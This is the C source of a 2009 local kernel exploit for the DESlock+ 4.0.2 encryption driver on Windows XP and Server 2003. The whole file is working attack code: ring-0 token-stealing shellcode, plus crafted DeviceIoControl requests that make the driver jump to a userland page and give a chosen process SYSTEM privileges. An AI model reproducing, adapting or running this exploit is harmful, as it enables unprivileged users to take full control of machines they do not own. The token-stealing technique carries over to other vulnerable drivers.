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/* deslock-dlpcrypt.c
*
* Copyright (c) 2009 by <mu-b@digit-labs.org>
*
* DESlock+ 4.0.2 local kernel SYSTEM exploit
* by mu-b - Thu 18 Jun 2009
*
* - Tested on: dlpcrypt.sys 0.1.1.27
*
* .text:0001BB2E: 'what do ya want for nothing?'
* - hmmm, something that doesn't pass kernel mode pointers
* between kernel and userland?
*
* Compile: MinGW + -lntdll
*
* - Private Source Code -DO NOT DISTRIBUTE -
* http://www.digit-labs.org/ -- Digit-Labs 2009!@$!
*/
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#define DLPCRYPT_IOCTL_ENABLED 0x8001200C
#define DLPCRYPT_IOCTL_ADD 0x80012004
#define DLPCRYPT_IOCTL_PROCESS 0x80012010
#define DLPCRYPT_FLAG1 0x13B45FA8
#define DLPCRYPT_FLAG2 0xBFD294C9
static unsigned char win32_fixup[] =
"\x56";
/* Win2k3 SP1/2 - kernel EPROCESS token switcher
* by mu-b <mu-b@digit-lab.org>
*/
static unsigned char win2k3_ring0_shell[] =
/* _ring0 */
"\xb8\x24\xf1\xdf\xff"
"\x8b\x00"
"\x8b\xb0\x18\x02\x00\x00"
"\x89\xf0"
/* _sys_eprocess_loop */
"\x8b\x98\x94\x00\x00\x00"
"\x81\xfb\x04\x00\x00\x00"
"\x74\x11"
"\x8b\x80\x9c\x00\x00\x00"
"\x2d\x98\x00\x00\x00"
"\x39\xf0"
"\x75\xe3"
"\xeb\x21"
/* _sys_eprocess_found */
"\x89\xc1"
"\x89\xf0"
/* _cmd_eprocess_loop */
"\x8b\x98\x94\x00\x00\x00"
"\x81\xfb\x00\x00\x00\x00"
"\x74\x10"
"\x8b\x80\x9c\x00\x00\x00"
"\x2d\x98\x00\x00\x00"
"\x39\xf0"
"\x75\xe3"
/* _not_found */
"\xcc"
/* _cmd_eprocess_found
* _ring0_end */
/* copy tokens!$%! */
"\x8b\x89\xd8\x00\x00\x00"
"\x89\x88\xd8\x00\x00\x00"
"\x90";
static unsigned char winxp_ring0_shell[] =
/* _ring0 */
"\xb8\x24\xf1\xdf\xff"
"\x8b\x00"
"\x8b\x70\x44"
"\x89\xf0"
/* _sys_eprocess_loop */
"\x8b\x98\x84\x00\x00\x00"
"\x81\xfb\x04\x00\x00\x00"
"\x74\x11"
"\x8b\x80\x8c\x00\x00\x00"
"\x2d\x88\x00\x00\x00"
"\x39\xf0"
"\x75\xe3"
"\xeb\x21"
/* _sys_eprocess_found */
"\x89\xc1"
"\x89\xf0"
/* _cmd_eprocess_loop */
"\x8b\x98\x84\x00\x00\x00"
"\x81\xfb\x00\x00\x00\x00"
"\x74\x10"
"\x8b\x80\x8c\x00\x00\x00"
"\x2d\x88\x00\x00\x00"
"\x39\xf0"
"\x75\xe3"
/* _not_found */
"\xcc"
/* _cmd_eprocess_found
* _ring0_end */
/* copy tokens!$%! */
"\x8b\x89\xc8\x00\x00\x00"
"\x89\x88\xc8\x00\x00\x00"
"\x90";
static unsigned char win32_ret[] =
"\x5e"
"\x58"
"\x58"
"\x33\xc0"
"\x5e"
"\x5d"
"\xc2\x0c\x00";
struct ioctl_req_enable {
int flag[2];
int len;
int result;
int enabled;
char pad[0x38 - 0x14];
};
struct ioctl_req {
int flag[2];
int len;
int result;
int action;
struct ioctl_ptr *ptr;
char pad[0x38 - 0x18];
};
struct ioctl_ptr {
char pad[0x8];
struct ioctl_pid *ppid;
int action;
char _pad[0x4];
struct ioctl_func *func;
};
struct ioctl_pid {
char pad[0x14];
DWORD pid;
};
struct ioctl_func {
void *func_ptr;
};
static PCHAR
fixup_ring0_shell (DWORD ppid, DWORD *zlen)
{
DWORD dwVersion, dwMajorVersion, dwMinorVersion;
dwVersion = GetVersion ();
dwMajorVersion = (DWORD) (LOBYTE(LOWORD(dwVersion)));
dwMinorVersion = (DWORD) (HIBYTE(LOWORD(dwVersion)));
if (dwMajorVersion != 5)
{
fprintf (stderr, "* GetVersion, unsupported version\n");
exit (EXIT_FAILURE);
}
switch (dwMinorVersion)
{
case 1:
*zlen = sizeof winxp_ring0_shell - 1;
*(PDWORD) &winxp_ring0_shell[55] = ppid;
return (winxp_ring0_shell);
case 2:
*zlen = sizeof win2k3_ring0_shell - 1;
*(PDWORD) &win2k3_ring0_shell[58] = ppid;
return (win2k3_ring0_shell);
default:
fprintf (stderr, "* GetVersion, unsupported version\n");
exit (EXIT_FAILURE);
}
return (NULL);
}
int
main (int argc, char **argv)
{
struct ioctl_req_enable req_enable;
struct ioctl_req req;
struct ioctl_ptr ptr;
struct ioctl_pid pid;
struct ioctl_func func;
LPVOID c_addr, zpage, zbuf;
DWORD rlen, zlen, ppid;
HANDLE hFile;
BOOL bResult;
printf ("DESlock+ 4.0.2 local kernel SYSTEM exploit\n"
"by: <mu-b@digit-labs.org>\n"
"http://www.digit-labs.org/ -- Digit-Labs 2009!@$!\n\n");
if (argc <= 1)
{
fprintf (stderr, "Usage: %s <processid to elevate>\n", argv[0]);
exit (EXIT_SUCCESS);
}
ppid = atoi (argv[1]);
hFile = CreateFileA ("\\\\.\\DLPCryptCore", FILE_EXECUTE,
FILE_SHARE_READ|FILE_SHARE_WRITE, NULL,
OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
fprintf (stderr, "* CreateFileA failed, %d\n", hFile);
exit (EXIT_FAILURE);
}
zpage = VirtualAlloc (NULL, 0x10000, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (zpage == NULL)
{
fprintf (stderr, "* VirtualAlloc failed\n");
exit (EXIT_FAILURE);
}
printf ("* allocated page: 0x%08X [%d-bytes]\n",
zpage, 0x10000);
memset (zpage, 0xCC, 0x10000);
zbuf = fixup_ring0_shell (ppid, &zlen);
memcpy (zpage, win32_fixup, sizeof (win32_fixup) - 1);
memcpy (zpage + sizeof (win32_fixup) - 1, zbuf, zlen);
memcpy (zpage + sizeof (win32_fixup) + zlen - 1,
win32_ret, sizeof (win32_ret) - 1);
memset (&req_enable, 0, sizeof req_enable);
req_enable.flag[0] = DLPCRYPT_FLAG1;
req_enable.flag[1] = DLPCRYPT_FLAG2;
req_enable.len = sizeof req_enable;
printf ("* verifying context... ");
bResult = DeviceIoControl (hFile, DLPCRYPT_IOCTL_ENABLED,
&req_enable, sizeof req_enable,
&req_enable, sizeof req_enable, &rlen, 0);
if (!bResult)
{
fprintf (stderr, "* DeviceIoControl failed\n");
exit (EXIT_FAILURE);
}
printf ("result: %d, enabled: %d\n", req_enable.result, req_enable.enabled);
printf ("* adding pid [%d]... ", GetCurrentProcessId ());
bResult = DeviceIoControl (hFile, DLPCRYPT_IOCTL_ADD,
&req_enable, sizeof req_enable,
&req_enable, sizeof req_enable, &rlen, 0);
if (!bResult)
{
fprintf (stderr, "* DeviceIoControl failed\n");
exit (EXIT_FAILURE);
}
printf ("done\n");
memset (&req, 0, sizeof req);
req.flag[0] = DLPCRYPT_FLAG1;
req.flag[1] = DLPCRYPT_FLAG2;
req.len = sizeof req;
req.action = 2;
req.ptr = &ptr;
memset (&ptr, 0, sizeof ptr);
ptr.ppid = &pid;
ptr.action = 2;
ptr.func = &func;
memset (&pid, 0, sizeof pid);
pid.pid = GetCurrentProcessId ();
memset (&func, 0, sizeof func);
func.func_ptr = &c_addr;
c_addr = (LPVOID) zpage;
printf ("* req.ptr: 0x%08X\n", &ptr);
printf ("* @0x%08X: ppid_ptr: 0x%08X, func_ptr: 0x%08X\n",
&ptr, ptr.ppid, ptr.func);
printf ("* @0x%08X: func_ptr: 0x%08X\n", ptr.func, func.func_ptr);
printf ("* @0x%08X: func_ptr: 0x%08X\n", &c_addr, c_addr);
/* jump to our address :) */
printf ("* jumping.. ");
bResult = DeviceIoControl (hFile, DLPCRYPT_IOCTL_PROCESS,
&req, sizeof req, &req, sizeof req, &rlen, 0);
if (!bResult)
{
fprintf (stderr, "* DeviceIoControl failed\n");
exit (EXIT_FAILURE);
}
printf ("done\n\n"
"* hmmm, you didn't STOP the box?!?!\n");
CloseHandle (hFile);
return (EXIT_SUCCESS);
}
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